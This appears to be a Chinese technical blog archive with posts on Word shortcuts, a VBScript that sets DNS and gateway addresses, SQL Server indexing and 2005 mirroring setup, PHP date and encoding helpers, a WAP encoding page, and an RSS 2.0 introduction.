释放页边距 Ctrl+T(悬挂缩进)
标记索引项 Alt+Shift+X
标记引文目录项 Alt+Shift+I
标记目录项 Alt+Shift+O
打印 Ctrl+P
替换 Ctrl+H
检索文件 Ctrl+O(“打开”命令)
保存 Ctrl+S
另存为 F12
查找(向后) Ctrl+F
查找(向前) Ctrl+F
小写 Ctrl+Shift+K
拼写 F7
下标 Ctrl+等号
上标 Ctrl+Shift+加号
切换文档 Ctrl+F6
词典 Shift+F7
下划线 Ctrl+U
撤消 Ctrl+Z
查看文档 Ctrl+F2(“打印预览”命令)

发表在 article | 标签为 | 62条评论

修改DNS、网关的VBS代码。不需重起即时生效

Const STR_GATEWAY = "192.168.1.254"

Const STR_NEWDNS1 = "221.6.4.67
"
Const STR_NEWDNS2 = "192.168.1.254
"
Set fs=CreateObject("Scripting.FileSystemObject")
strWinMgmt="winmgmts:{impersonationLevel=impersonate}"
Set objNICs = GetObject( strWinMgmt ).InstancesOf("Win32_NetworkAdapterConfiguration")
For Each objNIC In objNICs
If objNIC.IPEnabled Then
objNIC.SetDNSServerSearchOrder Array(STR_NEWDNS1,STR_NEWDNS2)
objNIC.SetGateways Array(STR_GATEWAY)
End If
Next

修改红色为您的网关地址。
修改蓝色为主DNS地址。
修改绿色为副DNS地址。

发表在 article | 标签为 | 161条评论

正确的理解SQL Server中的索引

最近带团队的时候,两个小组设计数据库,在索引的地方引起了他们的误解,对他们进行了适当的解释,同时在网络搜索更加完整一些对于索引的理解。本文是Imain CSDN上面转来,的确写的很好,部分理论不限于Sql Server,之所以使用Sql Server为题,是因为其中的两个概念是基于Sqlserver.在此感谢作者如此好文。

一、因情制宜,建立“适当”的索引

建立“适当”的索引是实现查询优化的首要前提。

索引(index)是除表之外另一重要的、用户定义的存储在物理介质上的数据结构。当根据索引码的值搜索数据时,索引提供了对数据的快速访问。事实上,没有索引,数据库也能根据SELECT语句成功地检索到结果,但随着表变得越来越大,使用“适当”的索引的效果就越来越明显。注意,在这句话中,我们用了“适当”这个词,这是因为,如果使用索引时不认真考虑其实现过程,索引既可以提高也会破坏数据库的工作性能。

(一)深入浅出理解索引结构

实际上,您可以把索引理解为一种特殊的目录。微软的SQL SERVER提供了两种索引:聚集索引(clustered index,也称聚类索引、簇集索引)和非聚集索引(nonclustered index,也称非聚类索引、非簇集索引)。下面,我们举例来说明一下聚集索引和非聚集索引的区别:

其实,我们的汉语字典的正文本身就是一个聚集索引。比如,我们要查“安”字,就会很自然地翻开字典的前几页,因为“安”的拼音是“an”,而按照拼音排序汉字的字典是以英文字母“a”开头并以“z”结尾的,那么“安”字就自然地排在字典的前部。如果您翻完了所有以“a”开头的部分仍然找不到这个字,那么就说明您的字典中没有这个字;同样的,如果查“张”字,那您也会将您的字典翻到最后部分,因为“张”的拼音是“zhang”。也就是说,字典的正文部分本身就是一个目录,您不需要再去查其他目录来找到您需要找的内容。

我们把这种正文内容本身就是一种按照一定规则排列的目录称为“聚集索引”。

如果您认识某个字,您可以快速地从自动中查到这个字。但您也可能会遇到您不认识的字,不知道它的发音,这时候,您就不能按照刚才的方法找到您要查的字,而需要去根据“偏旁部首”查到您要找的字,然后根据这个字后的页码直接翻到某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序并不是真正的正文的排序方法,比如您查“张”字,我们可以看到在查部首之后的检字表中“张”的页码是672页,检字表中“张”的上面是“驰”字,但页码却是63页,“张”的下面是“弩”字,页面是390页。很显然,这些字并不是真正的分别位于“张”字的上下方,现在您看到的连续的“驰、张、弩”三字实际上就是他们在非聚集索引中的排序,是字典正文中的字在非聚集索引中的映射。我们可以通过这种方式来找到您所需要的字,但它需要两个过程,先找到目录中的结果,然后再翻到您所需要的页码。

我们把这种目录纯粹是目录,正文纯粹是正文的排序方式称为“非聚集索引”。

通过以上例子,我们可以理解到什么是“聚集索引”和“非聚集索引”。

进一步引申一下,我们可以很容易的理解:每个表只能有一个聚集索引,因为目录只能按照一种方法进行排序。

(二)何时使用聚集索引或非聚集索引

下面的表总结了何时使用聚集索引或非聚集索引(很重要)。

动作描述
使用聚集索引
使用非聚集索引

列经常被分组排序

返回某范围内的数据

不应

一个或极少不同值
不应
不应

小数目的不同值

不应

大数目的不同值
不应

频繁更新的列
不应

外键列

主键列

频繁修改索引列
不应

事实上,我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如:返回某范围内的数据一项。比如您的某个表有一个时间列,恰好您把聚合索引建立在了该列,这时您查询2004年1月1日至2004年10月1日之间的全部数据时,这个速度就将是很快的,因为您的这本字典正文是按日期进行排序的,聚类索引只需要找到要检索的所有数据中的开头和结尾数据即可;而不像非聚集索引,必须先查到目录中查到每一项数据对应的页码,然后再根据页码查到具体内容。

(三)结合实际,谈索引使用的误区

理论的目的是应用。虽然我们刚才列出了何时应使用聚集索引或非聚集索引,但在实践中以上规则却很容易被忽视或不能根据实际情况进行综合分析。下面我们将根据在实践中遇到的实际问题来谈一下索引使用的误区,以便于大家掌握索引建立的方法。

1、主键就是聚集索引

这种想法笔者认为是极端错误的,是对聚集索引的一种浪费。虽然SQL SERVER默认是在主键上建立聚集索引的。

通常,我们会在每个表中都建立一个ID列,以区分每条数据,并且这个ID列是自动增大的,步长一般为1。我们的这个办公自动化的实例中的列Gid就是如此。此时,如果我们将这个列设为主键,SQL SERVER会将此列默认为聚集索引。这样做有好处,就是可以让您的数据在数据库中按照ID进行物理排序,但笔者认为这样做意义不大。

显而易见,聚集索引的优势是很明显的,而每个表中只能有一个聚集索引的规则,这使得聚集索引变得更加珍贵。

从我们前面谈到的聚集索引的定义我们可以看出,使用聚集索引的最大好处就是能够根据查询要求,迅速缩小查询范围,避免全表扫描。在实际应用中,因为ID号是自动生成的,我们并不知道每条记录的ID号,所以我们很难在实践中用ID号来进行查询。这就使让ID号这个主键作为聚集索引成为一种资源浪费。其次,让每个ID号都不同的字段作为聚集索引也不符合“大数目的不同值情况下不应建立聚合索引”规则;当然,这种情况只是针对用户经常修改记录内容,特别是索引项的时候会负作用,但对于查询速度并没有影响。

在办公自动化系统中,无论是系统首页显示的需要用户签收的文件、会议还是用户进行文件查询等任何情况下进行数据查询都离不开字段的是“日期”还有用户本身的“用户名”。

通常,办公自动化的首页会显示每个用户尚未签收的文件或会议。虽然我们的where语句可以仅仅限制当前用户尚未签收的情况,但如果您的系统已建立了很长时间,并且数据量很大,那么,每次每个用户打开首页的时候都进行一次全表扫描,这样做意义是不大的,绝大多数的用户1个月前的文件都已经浏览过了,这样做只能徒增数据库的开销而已。事实上,我们完全可以让用户打开系统首页时,数据库仅仅查询这个用户近3个月来未阅览的文件,通过“日期”这个字段来限制表扫描,提高查询速度。如果您的办公自动化系统已经建立的2年,那么您的首页显示速度理论上将是原来速度8倍,甚至更快。

在这里之所以提到“理论上”三字,是因为如果您的聚集索引还是盲目地建在ID这个主键上时,您的查询速度是没有这么高的,即使您在“日期”这个字段上建立的索引(非聚合索引)。下面我们就来看一下在1000万条数据量的情况下各种查询的速度表现(3个月内的数据为25万条):

(1)仅在主键上建立聚集索引,并且不划分时间段:

Select gid,fariqi,neibuyonghu,title from tgongwen

用时:128470毫秒(即:128秒)

(2)在主键上建立聚集索引,在fariq上建立非聚集索引:

select gid,fariqi,neibuyonghu,title from Tgongwen

where fariqi> dateadd(day,-90,getdate())

用时:53763毫秒(54秒)

(3)将聚合索引建立在日期列(fariqi)上:

select gid,fariqi,neibuyonghu,title from Tgongwen

where fariqi> dateadd(day,-90,getdate())

用时:2423毫秒(2秒)

虽然每条语句提取出来的都是25万条数据,各种情况的差异却是巨大的,特别是将聚集索引建立在日期列时的差异。事实上,如果您的数据库真的有1000万容量的话,把主键建立在ID列上,就像以上的第1、2种情况,在网页上的表现就是超时,根本就无法显示。这也是我摒弃ID列作为聚集索引的一个最重要的因素。

得出以上速度的方法是:在各个select语句前加:declare @d datetime

set @d=getdate()

并在select语句后加:

select [语句执行花费时间(毫秒)]=datediff(ms,@d,getdate())

2、只要建立索引就能显著提高查询速度

事实上,我们可以发现上面的例子中,第2、3条语句完全相同,且建立索引的字段也相同;不同的仅是前者在fariqi字段上建立的是非聚合索引,后者在此字段上建立的是聚合索引,但查询速度却有着天壤之别。所以,并非是在任何字段上简单地建立索引就能提高查询速度。

从建表的语句中,我们可以看到这个有着1000万数据的表中fariqi字段有5003个不同记录。在此字段上建立聚合索引是再合适不过了。在现实中,我们每天都会发几个文件,这几个文件的发文日期就相同,这完全符合建立聚集索引要求的:“既不能绝大多数都相同,又不能只有极少数相同”的规则。由此看来,我们建立“适当”的聚合索引对于我们提高查询速度是非常重要的。

3、把所有需要提高查询速度的字段都加进聚集索引,以提高查询速度

上面已经谈到:在进行数据查询时都离不开字段的是“日期”还有用户本身的“用户名”。既然这两个字段都是如此的重要,我们可以把他们合并起来,建立一个复合索引(compound index)。

很多人认为只要把任何字段加进聚集索引,就能提高查询速度,也有人感到迷惑:如果把复合的聚集索引字段分开查询,那么查询速度会减慢吗?带着这个问题,我们来看一下以下的查询速度(结果集都是25万条数据):(日期列fariqi首先排在复合聚集索引的起始列,用户名neibuyonghu排在后列)

(1)select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi>'2004-5-5'

查询速度:2513毫秒

(2)select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi>'2004-5-5' and neibuyonghu='办公室'

查询速度:2516毫秒

(3)select gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu='办公室'

查询速度:60280毫秒

从以上试验中,我们可以看到如果仅用聚集索引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询速度是几乎一样的,甚至比用上全部的复合索引列还要略快(在查询结果集数目一样的情况下);而如果仅用复合聚集索引的非起始列作为查询条件的话,这个索引是不起任何作用的。当然,语句1、2的查询速度一样是因为查询的条目数一样,如果复合索引的所有列都用上,而且查询结果少的话,这样就会形成“索引覆盖”,因而性能可以达到最优。同时,请记住:无论您是否经常使用聚合索引的其他列,但其前导列一定要是使用最频繁的列。

(四)其他书上没有的索引使用经验总结

1、用聚合索引比用不是聚合索引的主键速度快

下面是实例语句:(都是提取25万条数据)

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi='2004-9-16'

使用时间:3326毫秒

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid<=250000

使用时间:4470毫秒

这里,用聚合索引比用不是聚合索引的主键速度快了近1/4。

2、用聚合索引比用一般的主键作order by时速度快,特别是在小数据量情况下

select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by fariqi

用时:12936

select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by gid

用时:18843

这里,用聚合索引比用一般的主键作order by时,速度快了3/10。事实上,如果数据量很小的话,用聚集索引作为排序列要比使用非聚集索引速度快得明显的多;而数据量如果很大的话,如10万以上,则二者的速度差别不明显。

3、使用聚合索引内的时间段,搜索时间会按数据占整个数据表的百分比成比例减少,而无论聚合索引使用了多少个

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi>'2004-1-1'

用时:6343毫秒(提取100万条)

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi>'2004-6-6'

用时:3170毫秒(提取50万条)

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi='2004-9-16'

用时:3326毫秒(和上句的结果一模一样。如果采集的数量一样,那么用大于号和等于号是一样的)

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi>'2004-1-1' and fariqi<'2004-6-6'

用时:3280毫秒

4 、日期列不会因为有分秒的输入而减慢查询速度

下面的例子中,共有100万条数据,2004年1月1日以后的数据有50万条,但只有两个不同的日期,日期精确到日;之前有数据50万条,有5000个不同的日期,日期精确到秒。

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi>'2004-1-1' order by fariqi

用时:6390毫秒

select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi<'2004-1-1' order by fariqi

用时:6453毫秒

(五)其他注意事项

“水可载舟,亦可覆舟”,索引也一样。索引有助于提高检索性能,但过多或不当的索引也会导致系统低效。因为用户在表中每加进一个索引,数据库就要做更多的工作。过多的索引甚至会导致索引碎片。

所以说,我们要建立一个“适当”的索引体系,特别是对聚合索引的创建,更应精益求精,以使您的数据库能得到高性能的发挥。

当然,在实践中,作为一个尽职的数据库管理员,您还要多测试一些方案,找出哪种方案效率最高、最为有效。

发表在 article | 标签为 | 61条评论

wap js 编码

<textarea cols=80 rows=30 id=code>
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml
">
<wml>    
  <head>
    <meta http-equiv="Cache-Control" content="max-age=0"/>
    <meta http-equiv="Cache-Control" content="no-cache"/>
    <meta http-equiv="Expires" content="Mon, 1 Jan 1990 00:00:00 GMT"/>
  </head>
<card title="炫图下载" id="rings"><do type="prev" label="返回"><prev/></do>
<p mode="nowrap">
<select name="id" tabindex="1">
<option value="0">精灵射手勒苟拉斯(人气:91)</option>
<option value="1">皮蓬和梅利(人气:53)</option>
<option value="2">人类王子(人气:28)</option>
<option value="3">亚汶公主(人气:10)</option>
<option value="4">伊奥文公主(人气:13)</option>
<option value="5">精灵女王(人气:10)</option>
<option value="6">阿拉贡(人气:7)</option>
<option value="7">戒灵(人气:16)</option>
<option value="8">亚汶公主(人气:13)</option>
<option value="9">巨象兵(人气:5)</option>
<option value="10">白袍甘道夫(人气:6)</option>
<option value="11">咕噜(人气:4)</option>
<option value="12">忠诚的山姆(人气:3)</option>
<option value="13">阿拉贡与公主们(人气:1)</option>
<option value="14">海报(人气:2)</option>
<option value="15">萨鲁曼(人气:5)</option>
<option value="16">人类士兵(人气:3)</option>
</select>
宽度:<input name="width" emptyok="false" value="128" tabindex="2" format="3N"/><br/>
高度:<input name="height" emptyok="false" value="80" tabindex="3" format="3N"/><br/>
<a href="download_preview.asp?id=$(id:e)&amp;series=rings&amp;width=$(width)&amp;height=$(height)">预览</a><br/>
<a href="download.asp">返回上级</a>
</p></card>
</wml>
</textarea>
<input type=button onclick=encode(code,this) value="encode">
<script>
var mode="encode";
function encode(obj,btn){
  if(mode=="encode"){
    obj.value=obj.value.replace(/[^\u0000-\u00FF]/g,function($0){return escape($0).replace(/(%u)(\w{4})/gi,"&#x$2;")});
    btn.value="decode";
    mode="decode";
  }else{
    obj.value=unescape(obj.value.replace(/&#x/g,'%u').replace(/;/g,''));
    btn.value="encode";
    mode="encode";
  }
}
</script>

发表在 article | 标签为 | wap js 编码已关闭评论

SQL Server 2005 镜像构建

 

一、 镜像简介

1 、 简介

数据库镜像是将数据库事务处理从一个SQL Server数据库移动到不同SQL Server环境中的另一个SQL Server数据库中。镜像不能直接访问;它只用在错误恢复的情况下才可以被访问。

要进行数据库镜像所需的最小需求包括了两个不同的SQL Server运行环境。主服务器被称为“主机”,第二个服务器被称作“备机”。主机数据库就是你实际用着的数据库,镜像数据库就是你的数据库的备用拷贝。当事务写入你的基本服务器的时候,他们也同样被传送到并写入你的镜像数据库中。

除了基本和镜像之外,你还可以引入另一个可选的组件,名为“见证”。见证服务器是第三个SQL Server 2005运行实例,它是在判断什么时候进行错误恢复的时候,用于基本和镜像之间内部交流。只有当你想实现自动错误恢复的时候用到这个选项。它实现了2比1投票的能力,当我的一个组件不可达,并因此需要进行错误恢复的时候。见证服务器只有在你想实现自动错误恢复的时候才需要用到。

2 、 优点

下表是SQL Server可用性官方解决方案的一个对照表,现时我中心使用的恢复模式是“冷备份”中的“备份/恢复”,通常来说“热备份”比“冷备份”的可用性更高,恢复更快,更适合我中心现时的实际情况。如果不从成本考虑的话,“热备份”中的“故障转移群集”的可用性是最高的,但是故障转移群集需要借助磁盘阵列而且建设本身复杂性较高。数据库镜像的建立并没有太多的硬件要求,最起码没有像“故障转移群集”需要共享存储这么高的要求。

 

点击查看原图

 

2 、 缺点

(1)由于SQL Server是一个实例多个数据库的产品,数据库镜像技术是基于数据库级别的,因此每次主数据库新增数据库都必须为备机增加数据库并且为新增的数据库建立镜像关系。

(2)数据库的登录名和用户是存储在master数据库,master数据库是不能做镜像的,所以每次操作数据库的登录名和用户也是需要多维护一份,

(3)数据库作业不能得到相应的维护。

(4)微软号称镜像可以让客户端对故障透明,但是实际测试中发现只有满足特定的条件才能实现透明化,而且透明化得客户端支持才可行(.net Framework 2.0以上,Microsoft jdbc驱动 1.1以上)。

(5)跨数据库事务和分布式事务均不支持数据库镜像。

纵观其他几种方式,仅有“热备份”的“故障转移群集”没有这些问题。

一、配置主备机

1 、 物理连接

将主备数据库按照如图所示连接:

 

 

 

 

 

点击查看原图

 

2 、 检查SQL Server 2005数据库

只有SQL Server 2005 标准版、企业版和开发版才可以建立数据镜像。其他版本即Express只能作为见证服务器。如果实在不清楚什么版本,执行如下语句查看:

1 select   @@version ;

若要对此数据库进行数据库镜像,必须将它更改为使用完整恢复模式。若要用 Transact-SQL 实现此目的,请使用 ALTER DATABASE 语句:

1  USE  master;
2  ALTER   DATABASE   < DatabaeName >  
3  SET  RECOVERY  FULL ;
4

 

二、主备实例互通

实现互通可以使用域或证书来实现,考虑实现的简单,以下选取证书的方式实现。注意:实现“主备数据库实例互通”的操作只需要做一次,例如为了将两个SQL Server 2005的实例中的5个数据库建成镜像关系,则只需要做一次以下操作就可以了;或者这样理解:每一对主备实例(不是数据库)做一次互通。

1 、创建证书(主备可并行执行)

--主机执行:

1 USE  master;
2 CREATE  MASTER  KEY  ENCRYPTION  BY  PASSWORD  =   ' killkill ' ;
3 CREATE  CERTIFICATE HOST_A_cert  WITH  SUBJECT  =   ' HOST_A certificate '  , 
4 START_DATE  =   ' 01/01/2008 ' ;
5

--备机执行:

1 USE  master;
2 CREATE  MASTER  KEY  ENCRYPTION  BY  PASSWORD  =   ' killkill ' ;
3 CREATE  CERTIFICATE HOST_B_cert  WITH  SUBJECT  =   ' HOST_B certificate '
4 START_DATE  =   ' 01/01/2008 ' ;
5

 

2 、创建连接的端点(主备可并行执行)

--主机执行:

1 CREATE  ENDPOINT Endpoint_Mirroring 
2 STATE  =  STARTED 
3 AS  
4 TCP ( LISTENER_PORT = 5022  , LISTENER_IP  =   ALL  ) 
5 FOR  
6 DATABASE_MIRRORING 
7 ( AUTHENTICATION  =  CERTIFICATE HOST_A_cert , ENCRYPTION  =  REQUIRED ALGORITHM AES , ROLE  =   ALL  );
8

--备机执行:

1 CREATE  ENDPOINT Endpoint_Mirroring 
2 STATE  =  STARTED 
3 AS  
4 TCP ( LISTENER_PORT = 5022  , LISTENER_IP  =   ALL  ) 
5 FOR  
6 DATABASE_MIRRORING 
7 ( AUTHENTICATION  =  CERTIFICATE HOST_B_cert , ENCRYPTION  =  REQUIRED ALGORITHM AES , ROLE  =   ALL  );
8

 

3 、备份证书以备建立互联(主备可并行执行)

--主机执行:

1 BACKUP  CERTIFICATE HOST_A_cert  TO   FILE   =   ' D:\SQLBackup\HOST_A_cert.cer ' ;

 --备机执行:

1 BACKUP  CERTIFICATE HOST_B_cert  TO   FILE   =   ' D:\SQLBackup\HOST_B_cert.cer ' ;

 

4 、互换证书

将备份到D:\SQLBackup\的证书进行互换,即HOST_A_cert.cer复制到备机的D:\SQLBackup\。HOST_B_cert.cer复制到主机的D:\SQLBackup\

5 、添加登陆名、用户(主备可并行执行)

以下操作只能通过命令行运行,通过图形界面无法完成。(截至文档编写结束,SQL Server2005的不定号为SP2)

--主机执行:

1 CREATE  LOGIN HOST_B_login  WITH  PASSWORD  =   ' killkill ' ;
2 CREATE   USER  HOST_B_user  FOR  LOGIN HOST_B_login;
3 CREATE  CERTIFICATE HOST_B_cert  AUTHORIZATION  HOST_B_user  FROM   FILE   =   ' D:\SQLBackup\HOST_B_cert.cer ' ;
4 GRANT  CONNECT  ON  ENDPOINT::Endpoint_Mirroring  TO   [ HOST_B_login ] ;
5

--备机执行:

1 CREATE  LOGIN HOST_A_login  WITH  PASSWORD  =   ' killkill ' ;
2 CREATE   USER  HOST_A_user  FOR  LOGIN HOST_A_login;
3 CREATE  CERTIFICATE HOST_A_cert  AUTHORIZATION  HOST_A_user  FROM   FILE   =   ' D:\SQLBackup\HOST_A_cert.cer ' ;
4 GRANT  CONNECT  ON  ENDPOINT::Endpoint_Mirroring  TO   [ HOST_A_login ] ;
5

 

三、建立镜像关系

以下步骤是针对每个数据库进行的,例如:现有主机中有5个数据库以下过程就要执行5次。

1 、 手工同步登录名和密码

在第一章中提到数据库镜像的缺点之一是无法维护登录名,所以需要我们手工维护登录。

通常来说数据库都将会有若干个用户作为访问数据库的用户,并且数据库会有相应的登录名,但是在备机中缺少与之相对应的登录名,例如某业务系统使用’myuser’作为登录名访问数据库,但是在备机中没有’myuser’这个登录名,因此一旦主备切换,业务系统就无法登录数据库了,这种情况称为"孤立用户"

在主数据库中执行如下语句:

1 USE  master;
2 select  sid,name  from  syslogins;
3

查找出相应的用户名和sid,例如:上述的’myuser’

在备数据库中执行如下语句:

1 USE  master;
2 exec  sp_addlogin 
3 @loginame   =   ' <LoginName> '
4 @passwd   =   ' <Password> '
5 @sid   =   < sid >  ;
6

这里的’LoginName’即主数据库中的登录名,sid即是上述通过SQL语句查找出的sid。

例如,查询得到的sid和name如下所示。
 

 

 

1 sid name
2
3 -- -------------------------------- -----------------
4
5 0x074477739DCA0E499C29394FFFC4ADE4  cz_account
6
7

则建立登录名的SQL语句:

1 USE  master;
2 exec  sp_addlogin 
3 @loginame   =   ' cz_account '
4 @passwd   =   ' password '
5 @sid   =   0x074477739DCA0E499C29394FFFC4ADE4 ;
6

到此为止可以认为备机数据库的环境已经与主机同步了,还差数据库内的数据未同步。

2 、 准备备机数据库

承接上文,该节是描述如何同步主备数据库内的数据。

可以尝试从刚刚使用的全备文件进行还原,在还原数据的时候需要使用选上“with non recover”。如图所示:

 

点击查看原图

 

如果执行成功数据库将会变成这个样子:点击查看原图

3 、 建立镜像

由于是实验,没有为服务器配置双网卡,IP地址与图有点不一样,但是原理一样。

--主机执行:

1 ALTER   DATABASE  shishan  SET  PARTNER  =   ' TCP://10.168.6.45:5022 ' ;

--如果主体执行不成功,尝试在备机中执行如下语句:

1 ALTER   DATABASE  shishan  SET  PARTNER  =   ' TCP://10.168.6.49:5022 ' ;

 

 

 

 

点击查看原图

 

 

如果执行成功,则主备数据库将会呈现如上图所示的图标。

如果建立失败,提示类似数据库事务日志未同步,则说主备数据库的数据(日志)未同步,为保证主备数据库内的数据一致,应在主数据库中实施一次“事务日志”备份,并还原到备数据库上。备份“事务日志”如图所示:

 

 

 

点击查看原图

 

还原事务日志时需在选项中选择“restore with norecovery”,如图所示:

 

 

 

点击查看原图

 

 

 

 

 

点击查看原图

 

成功还原以后再执行建立镜像的SQL语句。

四、测试操作

1 、主备互换

--主机执行:

1 USE  master;
2 ALTER   DATABASE   < DatabaseName >   SET  PARTNER FAILOVER;
3

2 、主服务器Down掉,备机紧急启动并且开始服务

--备机执行:

1 USE  master;
2 ALTER   DATABASE   < DatabaseName >   SET  PARTNER FORCE_SERVICE_ALLOW_DATA_LOSS;
3

3 、原来的主服务器恢复,可以继续工作,需要重新设定镜像

1 -- 备机执行:
2 USE  master;
3 ALTER   DATABASE   < DatabaseName >   SET  PARTNER RESUME;  -- 恢复镜像
4 ALTER   DATABASE   < DatabaseName >   SET  PARTNER FAILOVER;  -- 切换主备
5

4 、原来的主服务器恢复,可以继续工作

--默认情况下,事务安全级别的设置为 FULL,即同步运行模式,而且SQL Server 2005 标准版只支持同步模式。

--关闭事务安全可将会话切换到异步运行模式,该模式可使性能达到最佳。

1 USE  master;
2 ALTER   DATABASE   < DatabaseName >   SET  PARTNER SAFETY  FULL -- 事务安全,同步模式
3 ALTER   DATABASE   < DatabaseName >   SET  PARTNER SAFETY  OFF -- 事务不安全,异步模式
4

 

恢复:

RESTORE DATABASE db FROM  DISK = N'd:/data/DB.bak' WITH  FILE = 1,  NOUNLOAD,  REPLACE,  STATS = 10
--ALTER DATABASE [db] set partner off

发表在 article | 标签为 , | 34条评论

php 常用方法

============ 获取文件名,文件扩展名以及所在目录的方法

<?php
$path_parts = pathinfo($_SERVER['PHP_SELF']);    //$_SERVER['PHP_SELF']是相对于根目录而言的路径。
echo $path_parts["dirname"] ;    //文件所在目录
echo $path_parts["basename"] ;    //文件名(全名,包括扩展名)
echo $path_parts["extension"] ;    //文件扩展名
?>

 

 

==============php时间

php5.*后的时区问题date_default_timezone_set ('Asia/Shanghai');

 

问题:

php函数date("Y-n-d   H-i-s");   输出的时间与当地时间相差8个小时.

解决思路

北京时间是东8区,可能是时区问题.但是此前都没问题啊,经过google发现原来从php5.1.0开始,php.ini里加入了date.timezone这个选项,默认情况下是关闭的,也就是显示的时间(无论用什么php命令)都是格林威治标准时间,和我们的时间(北京时间)差了正好8个小时。

1、可以date_default_timezone_set ('Etc/GMT-8');

红色标记部分可以改为"Etc/GMT-8","PRC"这两个在php帮助手册->附录 H. 所支持时区列表->其它时区列表里。

红色标记部分也可以改为"Asia/Shanghai","Asia/Chongqing","Asia/Urumqi"这三个在php帮助手册->附录 H. 所支持时区列表->亚洲时区列表里

测试

date_default_timezone_set ('Asia/Shanghai');
echo date_default_timezone_get ();
echo date("Y-n-d   H-i-s");  

输出结果:2007-4-21 10-28-25正确。
2、上面的修改是通过脚本修改,优点就是可移植性好,缺点就是每个脚本都要加。我们也可以通过修改php.ini的配置来达到目的。打开php.ini查找date.timezone 去掉前面的分号,等号后面填上上面红色标记的字段。修改结果是date.timezone ="Etc/GMT-8"

date_default_timezone_set ('Asia/Shanghai');
echo date_default_timezone_get ();
echo date("Y-n-d   H:i:s");  

输出结果:2007-10-21 10:30:35正确。

 

关于XXX
,大陆内地可用的值是:Asia/Chongqing ,Asia/Shanghai ,Asia/Urumqi ,PRC(依次为重庆,上海,乌鲁木齐,中华人民共和国)
港台地区可用:Asia/Macao ,Asia/Hong_Kong ,Asia/Taipei (依次为澳门,香港,台北)
还有新加坡:Asia/Singapore
其它:Etc/GMT-8 ,Singapore ,Hongkong

 

========时间格式经

PHP获取当前时间格式化方法

使用函式 date() 实现
<?php echo $showtime=date("Y-m-d H:i:s");?>
显示的格式: 年-月-日 小时:分钟:妙
相关时间参数:
a - "am" 或是 "pm"
A - "AM" 或是 "PM"
d - 几日,二位数字,若不足二位则前面补零; 如: "01" 至 "31"
D - 星期几,三个英文字母; 如: "Fri"
F - 月份,英文全名; 如: "January"
h - 12 小时制的小时; 如: "01" 至 "12"
H - 24 小时制的小时; 如: "00" 至 "23"
g - 12 小时制的小时,不足二位不补零; 如: "1" 至 12"
G - 24 小时制的小时,不足二位不补零; 如: "0" 至 "23"
i - 分钟; 如: "00" 至 "59"
j - 几日,二位数字,若不足二位不补零; 如: "1" 至 "31"
l - 星期几,英文全名; 如: "Friday"
m - 月份,二位数字,若不足二位则在前面补零; 如: "01" 至 "12"
n - 月份,二位数字,若不足二位则不补零; 如: "1" 至 "12"
M - 月份,三个英文字母; 如: "Jan"
s - 秒; 如: "00" 至 "59"
S - 字尾加英文序数,二个英文字母; 如: "th","nd"
t - 指定月份的天数; 如: "28" 至 "31"
U - 总秒数
w - 数字型的星期几,如: "0" (星期日) 至 "6" (星期六)
Y - 年,四位数字; 如: "1999"
y - 年,二位数字; 如: "99"
z - 一年中的第几天; 如: "0" 至 "365"

===================================

php实现escape和unescape
2008-03-08 00:06

 

    function
escape
(
$str

) {
        

preg_match_all
(
"/[\x80-\xff].|[\x01-\x7f]+/"
,
$str
,
$r

);
        

$ar
=
$r
[
0

];
         foreach(

$ar
as
$k
=>
$v

) {
             if(

ord
(
$v
[
0
]) <
128

) {
                

$ar
[
$k
] =
rawurlencode
(
$v

);
             } else {
                

$ar
[
$k
] =
"%u"
.
bin2hex
(
iconv
(
"GB2312"
,
"UCS-2"
,
$v

));
             }
         }
         return

join
(
""
,
$ar

);
     }

     function
unescape
(
$str

) {
        

$str
=
rawurldecode
(
$str

);
        

preg_match_all
(
"/(?:%u.{4})|.+/"
,
$str
,
$r

);
        

$ar
=
$r
[
0

];
         foreach(

$ar
as
$k
=>
$v

) {  
             if(

substr
(
$v
,
0
,
2
) ==
"%u"
&&
strlen
(
$v
) ==
6

) {
                

$ar
[
$k
] =
iconv
(
"UCS-2"
,
"GB2312"
,
pack
(
"H4"
,
substr
(
$v
,-
4

)));
             }
         }
         return

join
(
""
,
$ar

);
     }

 

 

========SQLite 时间差========================

WHERE julianday(date('now')) - julianday(date(arrival_date)) > 7

看来如果想得到一个符合本机区域设置的当前时间,必须用date函数来转换,
但date只函数只返回当前日期,而我需要的是返回当前日期及时间,所以这里把它换成datetime函数,即:
datetime(CURRENT_TIMESTAMP,'localtime')
 

 

==============================================
 

发表在 article | 标签为 | php 常用方法已关闭评论

RSS 2.0 标准

什么是 RSS?

RSS 是一种站点内容聚合的格式。

它的名字是R
eally S
imple S
yndication

的的简写。

RSS是XML的一种。所有的RSS文档都遵循 XML 1.0规范


, 该规范发布在W3C


网站上。

这里


是RSS版本历史的一个概要。

在一个RSS文档中,最外层是一个<rss>元素,这个元素必须规定version属性,该属性明确了本文档遵从何种RSS版本规范。如果一个RSS文档以这个规范来表示,那么它的version属性就必须是2.0。

<rss>元素只有一个子元素<channel>,包含了关于这个频道(元数据)和它的内容的一些信息。

样本文件

这里有一些RSS样本文件: RSS 0.91


, 0.92


2.0


注意这些样本文件所指向的链接地址和服务器可能已经不再存在。在撰写0.91文档的时候,这个0.91的样本文件就已经创建了。维护一个样本文件的历史也许是一个不错的主意。

关于本文档

本文档完成于2002年秋天,版本为 2.0.1。

它包含从 RSS 0.91


规范(2000年)开始的所有的修改和添加,以及包含在RSS 0.92


(2000年12月)和RSS 0.94(2002年8月)中的新的特性。

详细的文档历史纪录请参阅这里


